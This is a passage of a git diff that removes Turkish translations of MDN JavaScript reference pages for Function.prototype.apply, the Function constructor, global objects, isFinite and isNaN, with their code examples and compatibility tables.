fNewConstr = function() { - fConstructor.apply(this, aArgs); - }; - fNewConstr.prototype = fConstructor.prototype; - return new fNewConstr(); -};</pre> -</div> - -<p>Example usage:</p> - -<pre class="brush: js">function MyConstructor() { - for (var nProp = 0; nProp < arguments.length; nProp++) { - this['property' + nProp] = arguments[nProp]; - } -} - -var myArray = [4, 'Hello world!', false]; -var myInstance = MyConstructor.construct(myArray); - -console.log(myInstance.property1); // logs 'Hello world!' -console.log(myInstance instanceof MyConstructor); // logs 'true' -console.log(myInstance.constructor); // logs 'MyConstructor' -</pre> - -<div class="note"> -<p><strong>Note:</strong> This non-native <code>Function.construct</code> method will not work with some native constructors (like {{jsxref("Date")}}, for example). In these cases you have to use the {{jsxref("Function.prototype.bind")}} method (for example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: <code>[2012, 11, 4]</code>; in this case you have to write something like: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> — anyhow this is not the best way to do things and probably should not be used in any production environment).</p> -</div> - -<h3 id="Using_apply_and_built-in_functions">Using <code>apply</code> and built-in functions</h3> - -<p>Clever usage of <code>apply</code> allows you to use built-ins functions for some tasks that otherwise probably would have been written by looping over the array values. As an example here we are going to use <code>Math.max</code>/<code>Math.min</code> to find out the maximum/minimum value in an array.</p> - -<pre class="brush: js">// min/max number in an array -var numbers = [5, 6, 2, 3, 7]; - -// using Math.min/Math.max apply -var max = Math.max.apply(null, numbers); -// This about equal to Math.max(numbers[0], ...) -// or Math.max(5, 6, ...) - -var min = Math.min.apply(null, numbers); - -// vs. simple loop based algorithm -max = -Infinity, min = +Infinity; - -for (var i = 0; i < numbers.length; i++) { - if (numbers[i] > max) { - max = numbers[i]; - } - if (numbers[i] < min) { - min = numbers[i]; - } -} -</pre> - -<p>But beware: in using <code>apply</code> this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">argument limit of 65536</a>), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. (To illustrate this latter case: if such an engine had a limit of four arguments [actual limits are of course significantly higher], it would be as if the arguments <code>5, 6, 2, 3</code> had been passed to <code>apply</code> in the examples above, rather than the full array.) If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:</p> - -<pre class="brush: js">function minOfArray(arr) { - var min = Infinity; - var QUANTUM = 32768; - - for (var i = 0, len = arr.length; i < len; i += QUANTUM) { - var submin = Math.min.apply(null, - arr.slice(i, Math.min(i+QUANTUM, len))); - min = Math.min(submin, min); - } - - return min; -} - -var min = minOfArray([5, 6, 2, 3, 7]); -</pre> - -<h3 id="Using_apply_in_monkey-patching">Using apply in "monkey-patching"</h3> - -<p>Apply can be the best way to monkey-patch a built-in function of Firefox, or JS libraries. Given <code>someobject.foo</code> function, you can modify the function in a somewhat hacky way, like so:</p> - -<pre class="brush: js">var originalfoo = someobject.foo; -someobject.foo = function() { - // Do stuff before calling function - console.log(arguments); - // Call the function as it would have been called normally: - originalfoo.apply(this, arguments); - // Run stuff after, here. -} -</pre> - -<p>This method is especially handy where you want to debug events, or interface with something that has no API like the various <code>.on([event]...</code> events, such as those usable on the <a href="/en-US/docs/Tools/Page_Inspector#Developer_API">Devtools Inspector</a>).</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition. Implemented in JavaScript 1.3.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("2.0")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile("2.0")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Functions/arguments", "arguments")}} object</li> - <li>{{jsxref("Function.prototype.bind()")}}</li> - <li>{{jsxref("Function.prototype.call()")}}</li> - <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li> - <li>{{jsxref("Reflect.apply()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/function/index.html b/files/tr/web/javascript/reference/global_objects/function/index.html deleted file mode 100644 index 912f1acf1e..0000000000 --- a/files/tr/web/javascript/reference/global_objects/function/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Function -slug: Web/JavaScript/Reference/Global_Objects/Function -tags: - - fonksiyon - - yapıcı -translation_of: Web/JavaScript/Reference/Global_Objects/Function ---- -<div>{{JSRef}}</div> - -<p><strong><code>Fonksiyon</code> yapıcısı</strong> yeni bir <code>Fonksiyon </code>nesnesi yaratır. JavaScript'de her fonksiyon aslında bir <code>Fonksiyon</code> nesnesidir.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> - <dt><code>functionBody</code></dt> - <dd>A string containing the JavaScript statements comprising the function definition.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p> - -<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p> - -<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> - -<h2 id="Properties_and_Methods_of_Function">Properties and Methods of <code>Function</code></h2> - -<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p> - -<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2> - -<h3 id="Properties">Properties</h3> - -<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div> - -<h3 id="Methods">Methods</h3> - -<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div> - -<h2 id="Function_instances"><code>Function</code> instances</h2> - -<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Specifying_arguments_with_the_Function_constructor">Specifying arguments with the <code>Function</code> constructor</h3> - -<p>The following code creates a <code>Function</code> object that takes two arguments.</p> - -<pre class="brush: js">// Example can be run directly in your JavaScript console - -// Create a function that takes two arguments and returns the sum of those arguments -var adder = new Function('a', 'b', 'return a + b'); - -// Call the function -adder(2, 6); -// > 8 -</pre> - -<p>The arguments "<code>a</code>" and "<code>b</code>" are formal argument names that are used in the function body, "<code>return a + b</code>".</p> - -<h3 id="Difference_between_Function_constructor_and_function_declaration">Difference between Function constructor and function declaration</h3> - -<p>Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("eval")}} with code for a function expression.</p> - -<pre class="brush: js">var x = 10; - -function createFunction1() { - var x = 20; - return new Function("return x;"); // this |x| refers global |x| -} - -function createFunction2() { - var x = 20; - function f() { - return x; // this |x| refers local |x| above - } - return f; -} - -var f1 = createFunction1(); -console.log(f1()); // 10 -var f2 = createFunction2(); -console.log(f2()); // 20 -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.0.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Functions", "Functions and function scope")}}</li> - <li>{{jsxref("Function")}}</li> - <li>{{jsxref("Statements/function", "function statement")}}</li> - <li>{{jsxref("Operators/function", "function expression")}}</li> - <li>{{jsxref("Statements/function*", "function* statement")}}</li> - <li>{{jsxref("Operators/function*", "function* expression")}}</li> - <li>{{jsxref("GeneratorFunction")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/index.html b/files/tr/web/javascript/reference/global_objects/index.html deleted file mode 100644 index b03aa1f2d1..0000000000 --- a/files/tr/web/javascript/reference/global_objects/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Global Objeler -slug: Web/JavaScript/Reference/Global_Objects -tags: - - JavaScript - - Referensi -translation_of: Web/JavaScript/Reference/Global_Objects ---- -<div>{{jsSidebar("Objects")}}</div> - -<p>This chapter documents all of JavaScript's standard, built-in objects, including their methods and properties.</p> - -<div class="onlyinclude"> -<p>The term "global objects" (or standard built-in objects) here is not to be confused with the <strong>global object</strong>. Here, global objects refer to <strong>objects in the global scope</strong> (but only if ECMAScript 5 strict mode is not used; in that case it returns <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a>). The <strong>global object</strong> itself can be accessed using the {{jsxref("Operators/this", "this")}} operator in the global scope. In fact, the global scope <strong>consists of</strong> the properties of the global object, including inherited properties, if any.</p> - -<p>Other objects in the global scope are either <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">created by the user script</a> or provided by the host application. The host objects available in browser contexts are documented in the <a href="/en-US/docs/Web/API/Reference">API reference</a>. For more information about the distinction between the <a href="/en-US/docs/DOM/DOM_Reference">DOM</a> and core <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, see <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p> - -<h2 id="Standard_objects_by_category">Standard objects (by category)</h2> - -<h3 id="Value_properties">Value properties</h3> - -<p>These global properties return a simple value; they have no properties or methods.</p> - -<ul> - <li>{{jsxref("Infinity")}}</li> - <li>{{jsxref("NaN")}}</li> - <li>{{jsxref("undefined")}}</li> - <li>{{jsxref("null")}} literal</li> -</ul> - -<h3 id="Function_properties">Function properties</h3> - -<p>These global functions—functions which are called globally rather than on an object—directly return their results to the caller.</p> - -<ul> - <li>{{jsxref("Global_Objects/eval", "eval()")}}</li> - <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li> - <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li> - <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li> - <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li> - <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li> - <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li> - <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li> - <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li> - <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li> - <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li> - <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li> -</ul> - -<h3 id="Fundamental_objects">Fundamental objects</h3> - -<p>These are the fundamental, basic objects upon which all other objects are based. This includes objects that represent general objects, functions, and errors.</p> - -<ul> - <li>{{jsxref("Object")}}</li> - <li>{{jsxref("Function")}}</li> - <li>{{jsxref("Boolean")}}</li> - <li>{{jsxref("Symbol")}} {{experimental_inline}}</li> - <li>{{jsxref("Error")}}</li> - <li>{{jsxref("EvalError")}}</li> - <li>{{jsxref("InternalError")}}</li> - <li>{{jsxref("RangeError")}}</li> - <li>{{jsxref("ReferenceError")}}</li> - <li>{{jsxref("SyntaxError")}}</li> - <li>{{jsxref("TypeError")}}</li> - <li>{{jsxref("URIError")}}</li> -</ul> - -<h3 id="Numbers_and_dates">Numbers and dates</h3> - -<p>These are the base objects representing numbers, dates, and mathematical calculations.</p> - -<ul> - <li>{{jsxref("Number")}}</li> - <li>{{jsxref("Math")}}</li> - <li>{{jsxref("Date")}}</li> -</ul> - -<h3 id="Text_processing">Text processing</h3> - -<p>These objects represent strings and support manipulating them.</p> - -<ul> - <li>{{jsxref("String")}}</li> - <li>{{jsxref("RegExp")}}</li> -</ul> - -<h3 id="Indexed_collections">Indexed collections</h3> - -<p>These objects represent collections of data which are ordered by an index value. This includes (typed) arrays and array-like constructs.</p> - -<ul> - <li>{{jsxref("Array")}}</li> - <li>{{jsxref("Int8Array")}}</li> - <li>{{jsxref("Uint8Array")}}</li> - <li>{{jsxref("Uint8ClampedArray")}}</li> - <li>{{jsxref("Int16Array")}}</li> - <li>{{jsxref("Uint16Array")}}</li> - <li>{{jsxref("Int32Array")}}</li> - <li>{{jsxref("Uint32Array")}}</li> - <li>{{jsxref("Float32Array")}}</li> - <li>{{jsxref("Float64Array")}}</li> -</ul> - -<h3 id="Keyed_collections">Keyed collections</h3> - -<p>These objects represent collections which use keys; these contain elements which are iterable in the order of insertion.</p> - -<ul> - <li>{{jsxref("Map")}} {{experimental_inline}}</li> - <li>{{jsxref("Set")}} {{experimental_inline}}</li> - <li>{{jsxref("WeakMap")}} {{experimental_inline}}</li> - <li>{{jsxref("WeakSet")}} {{experimental_inline}}</li> -</ul> - -<h3 id="Vector_collections">Vector collections</h3> - -<p>{{Glossary("SIMD")}} vector data types are objects where data is arranged into lanes.</p> - -<ul> - <li>{{jsxref("SIMD")}} {{experimental_inline}}</li> - <li>{{jsxref("float32x4", "SIMD.float32x4")}} {{experimental_inline}}</li> - <li>{{jsxref("float64x2", "SIMD.float64x2")}} {{experimental_inline}}</li> - <li>{{jsxref("int8x16", "SIMD.int8x16")}} {{experimental_inline}}</li> - <li>{{jsxref("int16x8", "SIMD.int16x8")}} {{experimental_inline}}</li> - <li>{{jsxref("int32x4", "SIMD.int32x4")}} {{experimental_inline}}</li> -</ul> - -<h3 id="Structured_data">Structured data</h3> - -<p>These objects represent and interact with structured data buffers and data coded using JavaScript Object Notation (JSON).</p> - -<ul> - <li>{{jsxref("ArrayBuffer")}}</li> - <li>{{jsxref("DataView")}}</li> - <li>{{jsxref("JSON")}}</li> -</ul> - -<h3 id="Control_abstraction_objects">Control abstraction objects</h3> - -<ul> - <li>{{jsxref("Promise")}} {{experimental_inline}}</li> - <li>{{jsxref("Generator")}} {{experimental_inline}}</li> - <li>{{jsxref("GeneratorFunction")}} {{experimental_inline}}</li> -</ul> - -<h3 id="Reflection">Reflection</h3> - -<ul> - <li>{{jsxref("Reflect")}} {{experimental_inline}}</li> - <li>{{jsxref("Proxy")}} {{experimental_inline}}</li> -</ul> - -<h3 id="Internationalization">Internationalization</h3> - -<p>Additions to the ECMAScript core for language-sensitive functionalities.</p> - -<ul> - <li>{{jsxref("Intl")}}</li> - <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li> - <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> - <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li> -</ul> - -<h3 id="Non-standard_objects">Non-standard objects</h3> - -<ul> - <li>{{jsxref("Iterator")}} {{non-standard_inline}}</li> - <li>{{jsxref("ParallelArray")}} {{non-standard_inline}}</li> - <li>{{jsxref("StopIteration")}} {{non-standard_inline}}</li> -</ul> - -<h3 id="Other">Other</h3> - -<ul> - <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code></li> -</ul> -</div> diff --git a/files/tr/web/javascript/reference/global_objects/isfinite/index.html b/files/tr/web/javascript/reference/global_objects/isfinite/index.html deleted file mode 100644 index 43268d42b7..0000000000 --- a/files/tr/web/javascript/reference/global_objects/isfinite/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: isFinite() -slug: Web/JavaScript/Reference/Global_Objects/isFinite -tags: - - JavaScript - - Sonlu Sayı - - Sonsuz Sayı - - isFinite -translation_of: Web/JavaScript/Reference/Global_Objects/isFinite ---- -<div>{{jsSidebar("Objects")}}</div> - -<p>Global <code><strong>isFinite()</strong></code> fonksiyonu girilen değerin sonlu sayı olup olmadığını kararlaştırır. Gerekliyse, parametre ilk önce sayıya çevrilir.</p> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<pre class="syntaxbox">isFinite(<em>testDegeri</em>)</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>testDegeri</code></dt> - <dd>Sonluluğu test edilecek sayı.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>isFinite</code> en üst seviye fonksiyondur ve herhangi bir nesne ile ilişkilendirilemez.</p> - -<p>Bu fonksiyonu bir sayının sonlu olup olmadığını kararlaştırmak için kullanabilirsiniz. <code>isFinite</code> fonksiyonu argümanı olan sayıyı sorgular. Eğer argümanın değeri <code>NaN</code>, pozitif sonsuz veya negatif sonsuz ise, metod <strong>false</strong> döndürür; değilse, <strong>true</strong> döndürür.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">isFinite(SonsuzSayı); // false -isFinite(NaN); // false -isFinite(-SonsuzSayı); // false - -isFinite(0); // true -isFinite(2e64); // true -isFinite(null); // true - - -isFinite("0"); // true, daha güçlü bir ifade olan Number.isFinite("0") - // ile kullanılsaydı false olacaktı. -</pre> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel Destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Android için Chrome</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel Destek</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>{{jsxref("Number.isFinite()")}}</li> - <li>{{jsxref("Number.NaN()")}}</li> - <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li> - <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/isnan/index.html b/files/tr/web/javascript/reference/global_objects/isnan/index.html deleted file mode 100644 index 7a098629e6..0000000000 --- a/files/tr/web/javascript/reference/global_objects/isnan/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: isNaN() -slug: Web/JavaScript/Reference/Global_Objects/isNaN -translation_of: Web/JavaScript/Reference/Global_Objects/isNaN ---- -<div>{{jsSidebar("Objects")}}</div> - -<p><code>isNaN()</code> bir değerin <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN </a>olup olmadığını belirler. Not: <code>isNaN</code> işlevi içindeki zorlamanın <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">ilginç</a> kuralları vardır; alternatif olarak ECMAScript 2015'te tanımlandığı gibi <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN">Number.isNaN()</a> yöntemini kullanmak isteyebilirsiniz.</p> - -<div>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</div> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox"><code>isNaN(deger)</code></pre> - -<h3 id="Parametreler">Parametre(ler)</h3> - -<dl> - <dt><code>değer</code></dt> - <dd>Test edilecek değer.</dd> -</dl> - -<h3 id="Verilecek_değer">Verilecek değer</h3> - -<p>Verilen değer {{jsxref("NaN")}} ise<strong> <code>true</code></strong>; değilse <strong><code>false</code></strong>.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<h3 id="isNaN_işlevi_gerekliliği"><code>isNaN</code> işlevi gerekliliği</h3> - -<p>JavaScript'teki diğer tüm olası değerlerden farklı olarak, bir değerin {{jsxref ("NaN")}} olup olmadığını belirlemek için eşitlik operatörlerine (== ve ===) güvenmek mümkün değildir, çünkü NaN == NaN ve NaN === NaN <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font> olarak değerlendirilir. BU yüzden <code>isNaN</code> işlevi.</p> - -<h3 id="NaN_değerlerinin_kaynağı"><code>NaN</code> değerlerinin kaynağı</h3> - -<p>NaN değerleri, aritmetik işlemler <em>tanımsız (undefined)</em> veya <em>tekrarlanamayan</em> değerlerle sonuçlandığında üretilir. Bu tür değerler mutlaka taşma koşullarını temsil etmez. <code>NaN</code> ayrıca, ilkel sayısal değerin bulunmadığı sayısal olmayan değerlerin sayısal değerlerine zorlama girişiminden de kaynaklanır.</p> - -<p>Örneğin, sıfıra sıfıra bölmek bir <code>NaN</code> ile sonuçlanır - ancak diğer sayıları sıfıra bölmek olmaz.</p> - -<h3 id="Özel_durum_davranışlarını_karıştırmak">Özel durum davranışlarını karıştırmak</h3> - -<p><code>İsNaN</code> işlev belirtiminin en eski sürümleri olduğundan, sayısal olmayan bağımsız değişkenler için davranışı kafa karıştırıcı olur. İsNaN işlevinin bağımsız değişkeni <a href="http://es5.github.com/#x8.5">Number</a> türünde değilse, değer önce bir Number öğesine zorlanır. Dağa sonra elde edilen değer daha sonra {{jsxref ("NaN")}} olup olmadığını belirlemek için test edilir. Bu nedenle, sayısal tipe zorlandığında, geçerli bir <code>NaN</code> olmayan sayısal değerle sonuçlanan sayılar için (özellikle boş dize ve boolean ilkelleri, zorlandığında sayısal değerler sıfır veya bir verir), <code>"false"</code> döndürülen değer beklenmedik olabilir; örneğin, boş dize mutlaka "bir sayı değildir". Karışıklık, "sayı değil" teriminin IEEE-754 kayan nokta değerleri olarak gösterilen sayılar için özel bir anlamı olduğu gerçeğinden kaynaklanmaktadır. İşlev, "bu değer, sayısal değere zorlandığında IEEE-754 'Sayı Değil' değeri mi?" Sorusunu yanıtlıyor olarak yorumlanmalıdır.</p> - -<p>ECMAScript 2015, {{jsxref ("Number.isNaN ()")}} işlevini içerir. <code>Number.isNaN(x)</code>, x'in <code>NaN</code> olup olmadığını test etmenin güvenilir bir yoludur. Bununla birlikte, <code>Number.isNaN</code> ile bile, <code>NaN</code>'nin anlamı, basitçe "bir sayı değil", kesin sayısal anlam olarak kalır. Alternatif olarak, <code>Number.isNaN</code> yokluğunda, <code>(x != x)</code> ifadesi, <code>x</code> değişkeninin <code>NaN</code> olup olmadığını test etmenin daha güvenilir bir yoludur, çünkü sonuç <code>isNaN</code>'yi güvenilir olmayan sahte pozitiflere tabi değildir.</p> - -<p><code>isNaN</code> için bir çoklu dolgu (çoklu dolgu, <code>NaN</code>'nin kendine özgü asla eşit olmayan özelliğini kullanır):</p> - -<pre class="brush: js">var isNaN = function(deger) { - var n = Number(deger); - return n !== n; -};</pre> - -<h2 id="Examples">Examples</h2> - -<pre class="brush: js">isNaN(NaN); // true -isNaN(undefined); // true -isNaN({}); // true - -isNaN(true); // false -isNaN(null); // false -isNaN(37); // false - -// strings -isNaN('37'); // false: "37", NaN olmayan 37 sayısına dönüştürülür -isNaN('37.37'); // false: "37.37", NaN olmayan 37.37 sayısına dönüştürülür -isNaN("37,5"); // true -isNaN('123ABC'); // true: parseInt("123ABC") 123, ancak Number("123ABC") -isNaN(''); // false: boş dize, NaN olmayan 0'a dönüştürülür -isNaN(' '); // false: boşluklu bir dize, NaN olmayan 0'a dönüştürülür - -// tarihler -isNaN(new Date()); // false -isNaN(new Date().toString()); // true - -// Bu yanlış bir pozitiftir ve isNaN'ın tamamen güvenilir olmamasının nedenidir -isNaN('blabla'); // true: "blabla" bir sayıya dönüştürülür. - // Bunu bir sayı olarak ayrıştırma başarısız olur ve NaN döndürür</pre> - -<h3 id="Faydalı_özel_durum_davranışı">Faydalı özel durum davranışı</h3> - -<p><code>İsNaN()</code> 